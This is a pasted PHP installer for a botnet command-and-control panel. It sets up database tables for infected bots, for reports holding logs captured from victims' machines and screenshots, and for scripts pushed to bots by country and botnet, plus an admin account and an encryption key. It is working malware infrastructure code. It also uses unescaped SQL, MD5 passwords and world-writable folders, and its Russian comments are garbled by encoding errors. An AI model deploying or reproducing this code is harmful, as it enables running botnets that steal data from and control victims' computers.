· 8 years ago · May 19, 2018, 12:38 PM
1<?php define('__INSTALL__', 1);
2require_once('../system/global.php');
3
4///////////////////////////////////////////////////////////////////////////////
5// КонÑтанты.
6///////////////////////////////////////////////////////////////////////////////
7
8//Файлы.
9define('FILE_GEOBASE', 'geobase.txt'); //Геобаза
10define('FILE_CONFIG', '../system/config.php'); //Конфиг.
11
12//Заголовок
13define('APP_TITLE', 'Control Panel '.BO_VERSION.' Installer');
14
15//Параметры диалога.
16define('DIALOG_WIDTH', '350px'); //Ширина диалога.
17define('DIALOG_INPUT_WIDTH', '150px'); //Ширина <input>.
18
19//Подключение темы.
20define('THEME_PATH', '../theme');
21require_once(THEME_PATH.'/index.php');
22
23///////////////////////////////////////////////////////////////////////////////
24// СпиÑок таблиц.
25///////////////////////////////////////////////////////////////////////////////
26
27//СпиÑок ботов
28$_TABLES['botnet_list'] =
29"bot_id varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '' UNIQUE, ". //ID бота.
30"botnet varchar(".BOTNET_MAX_CHARS.") NOT NULL default '".DEFAULT_BOTNET."', ". //Ботнет.
31"bot_version int unsigned NOT NULL default '0', ". //ВерÑÐ¸Ñ Ð±Ð¾Ñ‚Ð°.
32
33"net_latency int unsigned NOT NULL default '0', ". //Лаг ÑоединениÑ.
34"port_s1 smallint unsigned NOT NULL default '0', ". //TCP порт S1.
35
36"time_localbias int signed NOT NULL default '0', ". //ОффÑет локального времени в Ñекундах.
37"os_version tinyblob NOT NULL, ". //Данные об OS (dwMajor, dwMinor, dwBuild, dwSP, wSuiteMask, wProductType).
38"language_id smallint unsigned NOT NULL default '0', ". //ID Ñзыка OS.
39
40"ipv4 varbinary(15) NOT NULL default '0.0.0.0', ". //IPv4
41"country varchar(2) NOT NULL default '--', ". //Страна.
42
43"rtime_first int unsigned NOT NULL default '0', ". //Ð’Ñ€ÐµÐ¼Ñ Ð¿ÐµÑ€Ð²Ð¾Ð³Ð¾ отчета об онлайне.
44"rtime_last int unsigned NOT NULL default '0', ". //Ð’Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ñледнего отчета об онлайне.
45"rtime_online int unsigned NOT NULL default '0', ". //ВремÑ, c которого бот находитьÑÑ Ð² онлайне.
46
47"flag_install bool NOT NULL default '0', ". //Флаг "ИнÑталла".
48"flag_used bool NOT NULL default '0', ". //Флаг "ИÑпользован".
49"flag_nat bool NOT NULL default '0', ". //Флаг "За натом".
50
51"comments tinytext NOT NULL"; //Комментарии к боту.
52
53//Шаблон отчетов.
54$_TABLES['botnet_reports'] =
55"id int unsigned NOT NULL auto_increment PRIMARY KEY, ".
56"bot_id varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '', ". //ID бота.
57"botnet varchar(".BOTNET_MAX_CHARS.") NOT NULL default '".DEFAULT_BOTNET."', ". //Ботнет.
58"bot_version int unsigned NOT NULL default '0', ". //ВерÑÐ¸Ñ Ð±Ð¾Ñ‚Ð°.
59
60"path_source text NOT NULL, ". //ИÑходный путь лога.
61"path_dest text NOT NULL, ". //Конечный путь лога.
62
63"time_system int unsigned NOT NULL default '0', ". //ОффÑет локального времени в Ñекундах.
64"time_tick int unsigned NOT NULL default '0', ". //ОффÑет локального времени в мÑ.
65"time_localbias int NOT NULL default '0', ". //ОффÑет локального времени в Ñекундах.
66
67"os_version tinyblob NOT NULL, ". //Данные об OS (dwMajor, dwMinor, dwBuild, dwSP, wSuiteMask, wProductType).
68"language_id smallint unsigned NOT NULL default '0', ". //ID Ñзыка OS.
69
70"process_name text NOT NULL, ". //Ð˜Ð¼Ñ Ð¿Ñ€Ð¾Ñ†ÐµÑÑа.
71"process_user text NOT NULL, ". //Ð˜Ð¼Ñ ÑŽÐ·ÐµÑ€Ð° процеÑÑа.
72
73"type int unsigned NOT NULL default '0', ". //Тип лога.
74"context longtext NOT NULL, ". //Содержимое лога.
75
76"ipv4 varbinary(15) NOT NULL default '0.0.0.0', ". //IPv4
77"country varchar(2) NOT NULL default '--', ". //Страна.
78"rtime int unsigned NOT NULL default '0'"; //Ð’Ñ€ÐµÐ¼Ñ Ð¾Ñ‚Ñ‡ÐµÑ‚Ð°.
79
80//База IPv4 to Country.
81$_TABLES['ipv4toc'] =
82"l int unsigned NOT NULL default '0', ". //Ðижний IP.
83"h int unsigned NOT NULL default '0', ". //Верхний IP.
84"c varbinary(2) NOT NULL default '--'"; //Страна.
85
86//СпиÑок пользователей.
87$_TABLES['cp_users'] =
88"id int unsigned NOT NULL auto_increment PRIMARY KEY, ".
89"name varchar(20) NOT NULL default '' UNIQUE, ". //ИмÑ.
90"pass varchar(32) NOT NULL default '', ". //Пароль.
91"language varbinary(2) NOT NULL default 'en', ". //Язык пользователÑ.
92"flag_enabled bool NOT NULL default '1', ". //Флаг включенного пользователÑ
93"comments tinytext NOT NULL, ". //Комментарии.
94
95//Различные наÑтройки.
96"ss_format varbinary(10) NOT NULL default 'jpeg', ". //Формат Ñкриншотов.
97"ss_quality tinyint unsigned NOT NULL default '30', ". //КачеÑтво Ñкриншота.
98
99//Права.
100"r_edit_bots bool NOT NULL default '1', ".
101
102"r_stats_main bool NOT NULL default '1', ".
103"r_stats_main_reset bool NOT NULL default '1', ".
104"r_stats_os bool NOT NULL default '1', ".
105
106"r_botnet_bots bool NOT NULL default '1', ".
107"r_botnet_scripts bool NOT NULL default '1', ".
108"r_botnet_scripts_edit bool NOT NULL default '1', ".
109
110"r_reports_db bool NOT NULL default '1', ".
111"r_reports_db_edit bool NOT NULL default '1', ".
112"r_reports_files bool NOT NULL default '1', ".
113"r_reports_files_edit bool NOT NULL default '1', ".
114"r_reports_jn bool NOT NULL default '1', ".
115
116"r_system_info bool NOT NULL default '1', ".
117"r_system_options bool NOT NULL default '1', ".
118"r_system_user bool NOT NULL default '1', ".
119"r_system_users bool NOT NULL default '1'";
120
121//Скрипты ботам.
122$_TABLES['botnet_scripts'] =
123"id int unsigned NOT NULL auto_increment PRIMARY KEY,".
124"extern_id varbinary(16) NOT NULL default '0', ". //Внешний ID.
125"name varchar(255) NOT NULL default '', ". //Ðазвание группы.
126"flag_enabled bool NOT NULL default '0', ". //Скрипт активна.
127"time_created int unsigned NOT NULL default '0', ". //Ð’Ñ€ÐµÐ¼Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñкрипта.
128"send_limit int unsigned NOT NULL default '0', ". //Лимит ботов.
129
130"bots_wl text NOT NULL, ". //СпиÑок ботов, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… нужно иÑпольнÑть группу.
131"bots_bl text NOT NULL, ". //СпиÑок ботов, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… не нужно иÑпольнÑть группу.
132"botnets_wl text NOT NULL, ". //СпиÑок ботнетов, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… нужно иÑпольнÑть группу.
133"botnets_bl text NOT NULL, ". //СпиÑок ботнетов, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… не нужно иÑпольнÑть группу.
134"countries_wl text NOT NULL, ". //СпиÑок Ñтран, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… нужно иÑпольнить группу.
135"countries_bl text NOT NULL, ". //СпиÑок Ñтран, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… не нужно иÑполнÑть группу.
136
137"script_text text NOT NULL, ". //ТекÑтовое предÑтавление команд в группе.
138"script_bin blob NOT NULL"; //Бинарное предÑтавление команд в группе.
139
140//СтатиÑтика Ñкриптов ботам.
141$_TABLES['botnet_scripts_stat'] =
142"extern_id varbinary(16) NOT NULL, ". //Внешний ID.
143"type tinyint unsigned NOT NULL default '0', ". //Типа запиÑи. 1 - отпралвен, 2 - иÑполнен, 3 - ошибка.
144"bot_id varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '', ". //ID бота.
145"bot_version int unsigned NOT NULL default '0', ". //ВерÑÐ¸Ñ Ð±Ð¾Ñ‚Ð°.
146"rtime int unsigned NOT NULL default '0', ". //Ð’Ñ€ÐµÐ¼Ñ Ð¾Ñ‚Ñ‡ÐµÑ‚Ð°.
147"report text NOT NULL, ". //ТекÑтовый отчет бота о выполнении ÑценариÑ.
148"UNIQUE(extern_id,bot_id,type)";
149
150///////////////////////////////////////////////////////////////////////////////
151// Ð—Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ð¾ умолчанию.
152///////////////////////////////////////////////////////////////////////////////
153
154$pd_user = 'admin';
155$pd_pass = '';
156
157$pd_mysql_host = '127.0.0.1';
158$pd_mysql_user = 'root';
159$pd_mysql_pass = '';
160$pd_mysql_db = 'cpdb';
161
162$pd_reports_path = '_reports';
163$pd_reports_to_db = 1;
164$pd_reports_to_fs = 0;
165
166$pd_botnet_timeout = 25;
167$pd_botnet_cryptkey = '';
168
169$_OUTPUT = '';
170
171///////////////////////////////////////////////////////////////////////////////
172// Функции.
173///////////////////////////////////////////////////////////////////////////////
174
175//Отображение ошибки.
176function ShowError($text)
177{
178 global $_OUTPUT;
179 $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.str_replace('{TEXT}', '• ERROR:'.$text, THEME_DIALOG_ITEM_ERROR).THEME_DIALOG_ROW_END;
180}
181
182//Отображение процеÑÑа.
183function ShowProgress($text)
184{
185 global $_OUTPUT;
186 $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.str_replace('{TEXT}', '• '.$text, THEME_DIALOG_ITEM_SUCCESSED).THEME_DIALOG_ROW_END;
187}
188
189//Создание таблицы.
190function CreateTable($name)
191{
192 global $_TABLES;
193
194 ShowProgress("Creating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
195 if(!@mysql_query("DROP TABLE IF EXISTS {$name}") || !@mysql_query("CREATE TABLE {$name} ({$_TABLES[$name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
196 {
197 ShowError("Failed: ".htmlentities_ex(mysql_error()));
198 return false;
199 }
200
201 return true;
202}
203
204//Обнавление таблицы.
205function UpdateTable($name)
206{
207 global $_TABLES;
208
209 ShowProgress("Updating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
210 if(!@mysql_query("CREATE TABLE IF NOT EXISTS {$name} ({$_TABLES[$name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
211 {
212 ShowError("Failed: ".htmlentities_ex(mysql_error()));
213 return false;
214 }
215
216 //@mysql_query("ALTER TABLE {$name} CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE);
217
218 //ОбнавлÑем на удачу.
219 $list = explode(', ', $_TABLES[$name]);
220 $c = count($list);
221 for($i = 0; $i < $c; $i++)@mysql_query("ALTER TABLE {$name} ADD ".$list[$i]);
222
223 return true;
224}
225
226//Обнавление таблицы по данным другой таблицы.
227function UpdateTableEx($name, $real_name)
228{
229 global $_TABLES;
230
231 ShowProgress("Updating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
232 if(!@mysql_query("CREATE TABLE IF NOT EXISTS {$name} ({$_TABLES[$real_name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
233 {
234 ShowError("Failed: ".htmlentities_ex(mysql_error()));
235 return false;
236 }
237
238 //@mysql_query("ALTER TABLE {$name} CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE);
239
240 //ОбнавлÑем на удачу.
241 $list = explode(',', $_TABLES[$real_name]);
242 $c = count($list);
243 for($i = 0; $i < $c; $i++)@mysql_query("ALTER TABLE {$name} ADD ".$list[$i]);
244
245 return true;
246}
247
248//Добавление Ñтроки в таблицу
249function AddRowToTable($name, $query)
250{
251 if(!@mysql_query('INSERT INTO '.addslashes($name).' SET '.$query.''))
252 {
253 ShowError("Failed to write row to table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.": %s".htmlentities_ex(mysql_error()));
254 return false;
255 }
256 return true;
257}
258
259//Создание пути.
260function CreatePath($new_dir, $old_dir)
261{
262 $dir_r = '../'.$new_dir;
263
264 if($old_dir != 0 && $old_dir != $new_dir && file_exists('../'.$old_dir))
265 {
266 ShowProgress("Renaming folder ".THEME_STRING_BOLD_BEGIN."'{$old_dir}'".THEME_STRING_BOLD_END." to ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
267 if(!is_dir($dir_r) && !@rename('../'.$old_dir, $dir_r))
268 {
269 ShowError("Failed to rename folder.");
270 return false;
271 }
272
273 @chmod($dir_r, 0777);
274 }
275 else
276 {
277 ShowProgress("Creating folder ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
278 if(!is_dir($dir_r) && !@mkdir($dir_r, 0777))
279 {
280 ShowError("Failed to create folder ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
281 return false;
282 }
283 }
284 return true;
285}
286
287//Выбор режим работы.
288$is_update = file_exists(FILE_CONFIG);
289
290///////////////////////////////////////////////////////////////////////////////
291// ПроцеÑÑ ÑƒÑ‚Ñановки/обнавлениÑ.
292///////////////////////////////////////////////////////////////////////////////
293if(strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0)
294{
295 $error = false;
296 $_OUTPUT = str_replace('{WIDTH}', DIALOG_WIDTH, THEME_DIALOG_BEGIN).
297 str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, 'Installation steps:'), THEME_DIALOG_TITLE);
298
299 //Получение ПоÑÑ‚-данных.
300 if($is_update)
301 {
302 if(!@include_once(FILE_CONFIG))
303 {
304 ShowError("Failed to open file '".FILE_CONFIG."'.");
305 $error = true;
306 }
307 else
308 {
309 if(defined('REPORTS_PATH'))$pd_reports_path = REPORTS_PATH;
310 if(defined('REPORTS_TO_DB'))$pd_reports_to_db = REPORTS_TO_DB ? 1 : 0;
311 if(defined('REPORTS_TO_FS'))$pd_reports_to_fs = REPORTS_TO_FS ? 1 : 0;
312 if(defined('BOTNET_TIMEOUT'))$pd_botnet_timeout = (int)(BOTNET_TIMEOUT / 60);
313 if(defined('BOTNET_CRYPTKEY'))$pd_botnet_cryptkey = BOTNET_CRYPTKEY;
314
315 $pd_mysql_host = defined('MYSQL_HOST') ? MYSQL_HOST : NULL;
316 $pd_mysql_user = defined('MYSQL_USER') ? MYSQL_USER : NULL;
317 $pd_mysql_pass = defined('MYSQL_PASS') ? MYSQL_PASS : NULL;
318 $pd_mysql_db = defined('MYSQL_DB') ? MYSQL_DB : NULL;
319 }
320 }
321 else
322 {
323 $pd_user = CheckPostData('user', 1, 20);
324 $pd_pass = CheckPostData('pass', 6, 64);
325
326 $pd_reports_path = CheckPostData('path_reports', 1, 256);
327 $pd_reports_to_db = (isset($_POST['reports_to_db']));// && $_POST['reports_to_db'] == 1);
328 $pd_reports_to_fs = (isset($_POST['reports_to_fs']));// && $_POST['reports_to_fs'] == 1);
329 $pd_botnet_timeout = CheckPostData('botnet_timeout', 1, 4);
330 $pd_botnet_cryptkey = CheckPostData('botnet_cryptkey', 1, 256);
331
332 $pd_mysql_host = CheckPostData('mysql_host', 1, 256);
333 $pd_mysql_user = CheckPostData('mysql_user', 1, 256);
334 $pd_mysql_pass = CheckPostData('mysql_pass', 0, 256);
335 $pd_mysql_db = CheckPostData('mysql_db', 1, 256);
336 }
337
338 $pd_reports_path = trim(str_replace('\\', '/', trim($pd_reports_path)), '/');
339
340 //Обработка ошибок.
341 if(!$error)
342 {
343 if(!$is_update && ($pd_user === NULL || $pd_pass === NULL))
344 {
345 ShowError('Bad format of login data.');
346 $error = true;
347 }
348 if($pd_mysql_host === NULL || $pd_mysql_user === NULL || $pd_mysql_db === NULL)
349 {
350 ShowError('Bad format of MySQL server data.');
351 $error = true;
352 }
353 if($pd_reports_path === NULL)
354 {
355 ShowError('Bad format of reports path.');
356 $error = true;
357 }
358 if(!is_numeric($pd_botnet_timeout) || $pd_botnet_timeout < 1)
359 {
360 ShowError('Bot online timeout have bad value.');
361 $error = true;
362 }
363 if($pd_botnet_cryptkey === NULL)
364 {
365 ShowError('Bad format of encryption key.');
366 $error = true;
367 }
368 }
369
370 //Подключение к базе.
371 if(!$error)
372 {
373 ShowProgress("Connecting to MySQL as ".THEME_STRING_BOLD_BEGIN."'{$pd_mysql_user}'".THEME_STRING_BOLD_END.".");
374 if(!@mysql_connect($pd_mysql_host, $pd_mysql_user, $pd_mysql_pass) || !@mysql_query('SET NAMES \''.MYSQL_CODEPAGE.'\' COLLATE \''.MYSQL_COLLATE.'\''))
375 {
376 ShowError("Failed connect to MySQL server: ".htmlentities_ex(mysql_error()));
377 $error = true;
378 }
379 }
380
381 //Выбор таблицы.
382 if(!$error)
383 {
384 $db = addslashes($pd_mysql_db);
385 ShowProgress("Selecting DB ".THEME_STRING_BOLD_BEGIN."'{$pd_mysql_db}'".THEME_STRING_BOLD_END.".");
386
387 if(!@mysql_query("CREATE DATABASE IF NOT EXISTS {$db}"))
388 {
389 ShowError("Failed to create database: ".htmlentities_ex(mysql_error()));
390 $error = true;
391 }
392 else if(!@mysql_select_db($pd_mysql_db))
393 {
394 ShowError("Failed to select database: ".htmlentities_ex(mysql_error()));
395 $error = true;
396 }
397
398 @mysql_query("ALTER DATABASE {$db} CHARACTER SET ".MYSQL_CODEPAGE." COLLATE ".MYSQL_COLLATE);
399 }
400
401 //Обрабатываем таблицы.
402 if(!$error)foreach($_TABLES as $table => $v)
403 {
404 //Заполнение таблицы ipv4toc.
405 if(strcmp($table, 'ipv4toc') == 0)
406 {
407 if(($error = !CreateTable($table)))break;
408 ShowProgress("Filling table ".THEME_STRING_BOLD_BEGIN."'{$table}'".THEME_STRING_BOLD_END.".");
409
410 if(($list = @file(FILE_GEOBASE)) === false)
411 {
412 ShowError("Failed to open file '".FILE_GEOBASE."'.");
413 $error = true;
414 }
415 else
416 {
417 foreach($list as $item)
418 {
419 $cn = explode("\0", $item, 3);
420 if(($error = !AddRowToTable($table, "l='{$cn[0]}', h='{$cn[1]}', c='".substr(trim($cn[2]), 0, 2)."'")))break;
421 }
422 unset($list);
423 }
424 }
425 //ОбновлÑем Ñтарые таблицы отчетов.
426 else if(strcmp($table, 'botnet_reports') == 0)
427 {
428 if(($error = !CreateTable($table)))break;
429 $rlist = ListReportTables($pd_mysql_db);
430 foreach($rlist as $rtable)if(($error = !UpdateTableEx($rtable, 'botnet_reports')))break;
431 }
432 else $error = !($is_update ? UpdateTable($table) : CreateTable($table));
433
434 if($error)break;
435 }
436
437 //Создание директории Ð´Ð»Ñ Ð¾Ñ‚Ñ‡ÐµÑ‚Ð¾Ð².
438 if(!$error)$error = !CreatePath($pd_reports_path, defined('REPORTS_PATH') ? REPORTS_PATH : 0);
439
440 //Обновление файла конфигурации.
441 if(!$error)
442 {
443 ShowProgress("Writing config file");
444
445 $updateList['MYSQL_HOST'] = $pd_mysql_host;
446 $updateList['MYSQL_USER'] = $pd_mysql_user;
447 $updateList['MYSQL_PASS'] = $pd_mysql_pass;
448 $updateList['MYSQL_DB'] = $pd_mysql_db;
449 $updateList['REPORTS_PATH'] = $pd_reports_path;
450 $updateList['REPORTS_TO_DB'] = $pd_reports_to_db ? 1 : 0;
451 $updateList['REPORTS_TO_FS'] = $pd_reports_to_fs ? 1 : 0;
452 $updateList['BOTNET_TIMEOUT'] = ((int)($pd_botnet_timeout * 60));
453 $updateList['BOTNET_CRYPTKEY'] = $pd_botnet_cryptkey;
454
455 if(!updateConfig($updateList))
456 {
457 ShowError("Failed write to config file.");
458 $error = true;
459 }
460 }
461
462 //Добавление Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð² базу.
463 if(!$error && !$is_update)
464 {
465 ShowProgress("Adding user ".THEME_STRING_BOLD_BEGIN."'{$pd_user}'".THEME_STRING_BOLD_END.".");
466 $error = !AddRowToTable('cp_users', "name='".addslashes($pd_user)."', pass='".md5($pd_pass)."', comments='Default user'");
467 }
468
469 //Ð’Ñ‹ÑтавлÑем прозрачно права на каталог Ð´Ð»Ñ Ð²Ñ€ÐµÐ¼ÐµÐ½Ð½Ñ‹Ñ… файлов.
470 @chmod('../tmp', 0777);
471
472 //УÑпешное завершение.
473 if(!$error)
474 {
475 $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.
476 str_replace('{TEXT}', THEME_STRING_BOLD_BEGIN.($is_update ? '-- Update complete! --' : '-- Installation complete! --').THEME_STRING_BOLD_END, THEME_DIALOG_ITEM_SUCCESSED).
477 THEME_DIALOG_ROW_END;
478 ThemeSmall(APP_TITLE, $_OUTPUT.THEME_DIALOG_END, 0, 0, 0);
479 die();
480 }
481 $_OUTPUT .= THEME_DIALOG_END.THEME_VSPACE;
482}
483
484///////////////////////////////////////////////////////////////////////////////
485// ОÑновной диалог.
486///////////////////////////////////////////////////////////////////////////////
487
488if($is_update)
489{
490 @include_once(FILE_CONFIG);
491 if(defined('MYSQL_DB'))$pd_mysql_db = MYSQL_DB;
492}
493
494if($is_update)$help = "This application update/repair and reconfigure your control panel on this server. If you want make new instalation, please remove file '".FILE_CONFIG."'.";
495else $help = "This application install and configure your control panel on this server. Please type settings and press 'Install'.";
496
497$_FORMITEMS = '';
498
499//Данные юзера.
500if(!$is_update)
501{
502 $_FORMITEMS .=
503 THEME_DIALOG_ROW_BEGIN.
504 str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
505 str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Root user:'), THEME_DIALOG_GROUP_TITLE).
506 THEME_DIALOG_ROW_BEGIN.
507 str_replace('{TEXT}', 'User name: (1-20 chars):', THEME_DIALOG_ITEM_TEXT).
508 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_user), 'user', '20', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
509 THEME_DIALOG_ROW_END.
510 THEME_DIALOG_ROW_BEGIN.
511 str_replace('{TEXT}', 'Password (6-64 chars):', THEME_DIALOG_ITEM_TEXT).
512 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_pass), 'pass', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
513 THEME_DIALOG_ROW_END.
514 THEME_DIALOG_GROUP_END.
515 THEME_DIALOG_ROW_END;
516}
517
518//База данных.
519$_FORMITEMS .=
520THEME_DIALOG_ROW_BEGIN.
521 str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
522 str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'MySQL server:'), THEME_DIALOG_GROUP_TITLE);
523
524if(!$is_update)
525{
526 $_FORMITEMS .=
527 THEME_DIALOG_ROW_BEGIN.
528 str_replace('{TEXT}', 'Host:', THEME_DIALOG_ITEM_TEXT).
529 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_mysql_host), 'mysql_host', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
530 THEME_DIALOG_ROW_END.
531 THEME_DIALOG_ROW_BEGIN.
532 str_replace('{TEXT}', 'User:', THEME_DIALOG_ITEM_TEXT).
533 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_mysql_user), 'mysql_user', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
534 THEME_DIALOG_ROW_END.
535 THEME_DIALOG_ROW_BEGIN.
536 str_replace('{TEXT}', 'Password:', THEME_DIALOG_ITEM_TEXT).
537 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_mysql_pass), 'mysql_pass', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
538 THEME_DIALOG_ROW_END;
539}
540
541$_FORMITEMS .=
542 THEME_DIALOG_ROW_BEGIN.
543 str_replace('{TEXT}', 'Database:', THEME_DIALOG_ITEM_TEXT).
544 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_mysql_db), 'mysql_db', '64', DIALOG_INPUT_WIDTH), $is_update ? THEME_DIALOG_ITEM_INPUT_TEXT_RO : THEME_DIALOG_ITEM_INPUT_TEXT).
545 THEME_DIALOG_ROW_END.
546 THEME_DIALOG_GROUP_END.
547THEME_DIALOG_ROW_END;
548
549//Локальные пути.
550if(!$is_update)
551{
552 $_FORMITEMS .=
553 THEME_DIALOG_ROW_BEGIN.
554 str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
555 str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Local folders:'), THEME_DIALOG_GROUP_TITLE).
556 THEME_DIALOG_ROW_BEGIN.
557 str_replace('{TEXT}', 'Reports:', THEME_DIALOG_ITEM_TEXT).
558 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_reports_path), 'path_reports', '255', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
559 THEME_DIALOG_ROW_END.
560 THEME_DIALOG_GROUP_END.
561 THEME_DIALOG_ROW_END;
562}
563
564//Опции.
565if(!$is_update)
566{
567 $_FORMITEMS .=
568 THEME_DIALOG_ROW_BEGIN.
569 str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
570 str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Options:'), THEME_DIALOG_GROUP_TITLE).
571 THEME_DIALOG_ROW_BEGIN.
572 str_replace('{TEXT}', 'Online bot timeout:', THEME_DIALOG_ITEM_TEXT).
573 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_botnet_timeout), 'botnet_timeout', '4', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
574 THEME_DIALOG_ROW_END.
575 THEME_DIALOG_ROW_BEGIN.
576 str_replace('{TEXT}', 'Encryption key (1-255 chars):', THEME_DIALOG_ITEM_TEXT).
577 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_botnet_cryptkey), 'botnet_cryptkey', '255', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
578 THEME_DIALOG_ROW_END.
579 THEME_DIALOG_ROW_BEGIN.
580 str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
581 THEME_DIALOG_ROW_BEGIN.
582 str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'reports_to_db', '', 'Enable write reports to database.'), $pd_reports_to_db ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2).
583 THEME_DIALOG_ROW_END.
584 THEME_DIALOG_ROW_BEGIN.
585 str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'reports_to_fs', '', 'Enable write reports to local path.'), $pd_reports_to_fs ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2).
586 THEME_DIALOG_ROW_END.
587 THEME_DIALOG_GROUP_END.
588 THEME_DIALOG_ROW_END.
589 THEME_DIALOG_GROUP_END.
590 THEME_DIALOG_ROW_END;
591}
592
593//Форма.
594$_OUTPUT .=
595str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('idata', basename($_SERVER['PHP_SELF']), ''), THEME_FORMPOST_BEGIN).
596str_replace('{WIDTH}', DIALOG_WIDTH, THEME_DIALOG_BEGIN).
597 str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, APP_TITLE), THEME_DIALOG_TITLE).
598 THEME_DIALOG_ROW_BEGIN.
599 str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
600 THEME_DIALOG_ROW_BEGIN.
601 str_replace('{TEXT}', $help, THEME_DIALOG_ITEM_WRAPTEXT).
602 THEME_DIALOG_ROW_END.
603 THEME_DIALOG_GROUP_END.
604 THEME_DIALOG_ROW_END.
605 $_FORMITEMS.
606 str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN).
607 str_replace(array('{TEXT}', '{JS_EVENTS}'), array(($is_update ? '-- Update --' : '-- Install --'), ''), THEME_DIALOG_ITEM_ACTION_SUBMIT).
608 THEME_DIALOG_ACTIONLIST_END.
609THEME_DIALOG_END.
610THEME_FORMPOST_END;
611
612//Вывод.
613ThemeSmall(APP_TITLE, $_OUTPUT, 0, 0, 0);
614?>